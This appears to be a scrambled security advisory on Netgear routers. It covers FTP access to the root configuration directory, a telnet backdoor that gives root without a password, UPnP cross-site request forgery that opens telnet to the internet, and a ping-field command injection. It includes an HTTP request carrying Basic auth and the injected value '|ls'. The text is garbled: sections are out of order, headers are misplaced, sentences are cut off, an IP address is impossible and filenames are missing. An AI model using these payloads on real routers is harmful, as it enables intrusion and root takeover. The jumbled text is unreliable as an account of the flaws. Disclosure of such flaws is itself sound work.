If a ‘last resort’ admin console or reset function is required, implement it to require interaction with the device so that only a person with physical access to the device is able to use this function. FTP Insecure Root Directory =============================== Requires -------- FTP to be enabled (not enabled by default) Description ----------- The FTP server allows a user to access configuration files and to traverse outside the folder that contains files intended to be shared by FTP. ftp ls / 200 PORT 192.168.0.927 OK 150 BINARY data connection established.It is possible to list and retrieve files in the / folder, however the user is restricted from using the cd or CWD command to change the current directory to '/'. -rw-r--r-- 1 nobody root 2 Jan 01 2003 all_no_password -rw-r--r-- 1 nobody root 1700 Jan 01 2003 drwxr-xr-x 3 nobody root 0 Jan 01 2003 conf -rw-r--r-- 1 nobody root 2 Jan 01 2003 lan3_time -r--r--r-- 1 nobody root 1430 Jan 01 2003 lan_dev -rw-r--r-- 1 nobody root 2 Jan 01 2003 lan_time drwxr-xr-x 48 nobody root 0 Jan 01 2003 mnt -rw-r--r-- 1 nobody root 1 Jan 01 2003 -rw-r--r-- 1 nobody root 0 Jan 01 2003 -rw-r--r-- 1 nobody root 0 Jan 01 2003 opendns_drwxr-xr-x 2 nobody root 0 Jan 01 2003 ppp -rw-r--r-- 1 nobody root 38 Jan 01 2003 -rw-r--r-- 1 nobody root 208 Jan 01 2003 drwxr-xr-x 4 nobody root 0 Jan 01 2003 samba drwxr-xr-x 2 nobody root 0 Jan 01 2003 shares -rw-r--r-- 1 nobody root 262 Jan 01 2003 space_info -rw------- 1 nobody root 2 Oct 14 timesync -rw-r--r-- 1 nobody root 242 Jan 01 2003 -rw-r--r-- 1 nobody root 0 Jan 01 2003 udhcpd.leases -rw-r--r-- 1 nobody root 4 Jan 01 2003 -rw-r--r-- 1 nobody root 2 Jan 01 2003 udhcpd_-rw-r--r-- 1 nobody root 3562 Jan 01 2003 upnp_xml drwxr-xr-x 2 nobody root 0 Jan 01 2003 usb_vol_name drwxr-xr-x 11 nobody root 0 Jan 01 2003 var -r--r--r-- 1 nobody root 1922 Jan 01 2003 wan_dev -rw-r--r-- 1 nobody root 3 Jan 01 2003 wan_time drwxr-xr-x 2 nobody root 0 Jan 01 1999 wlan -rw-r--r-- 1 nobody root 2 Jan 01 2003 wlan_time -rw-r--r-- 1 nobody root 0 Jan 01 2003 226 Directory list has been submitted.Proof of concept ---------------- The following webpage will make telnet for the router accessible to the internet so that it may be attacked using the Gear Dog backdoor (See issue 5). Port 23 is the internal port number and port 887 is the external port number to be opened.

Solution -------- Include an anti-CSRF token in all web forms and ensure that the token is present and correct when HTTP requests for actions are received. Gearguy/Geardog Telnet Backdoor =================================== Requires -------- Ability to telnet to port 23 (only on LAN side by default) Description ----------- There is a backdoor (feature) built into many Net Gear devices, where a user can gain operating system command access without requiring a password.

This issue has been previously reported in other Net Gear devices. A Linux client is available from Send a Blowfish encrypted message to port 23 from the LAN.

Impact ------ Using this vulnerability, BAE Systems was able to execute arbitrary commands on the underlying Linux operating system as the root user.

Proof of concept ---------------- Example exploitation to obtain a file and directory listing: POST /HTTP/1.1 Host: 192.168.0.1 Proxy-Connection: keep-alive Content-Length: 81 Cache-Control: max-age=0 Authorization: Basic YWRta W46YXBwb GU3ODE= Origin: User-Agent: Mozilla/5.0 (X11; Linux x86_64) Apple Web Kit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8 Referer: gzip,deflate,sdch Accept-Language: en-GB,en-US;q=0.8,en;q=0.6 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 IPAddr1=a&IPAddr2=b&IPAddr3=c&IPAddr4=d&ping=xxxx&ping_IPAddr=|ls To get an interactive shell, 1.

This vulnerability exists because the request is initiated by a user's browser on the LAN side of the device.

Impact ------ Using this vulnerability, BAE Systems was able to add new firewall rules to enable internet access to the insecure telnet port and the admin web interface.

The UPNP interface of the router listens on TCP port 5000 and can only be accessed from the LAN side of the device.

UPNP requests do not require authentication with passwords.

Description ----------- The Universal Plug and Play (UPNP) implementation used by Net Gear accepts an HTTP POST request as a valid XML request, rendering the UPNP service vulnerable to inter-protocol Cross-Site Request Forgery attacks.
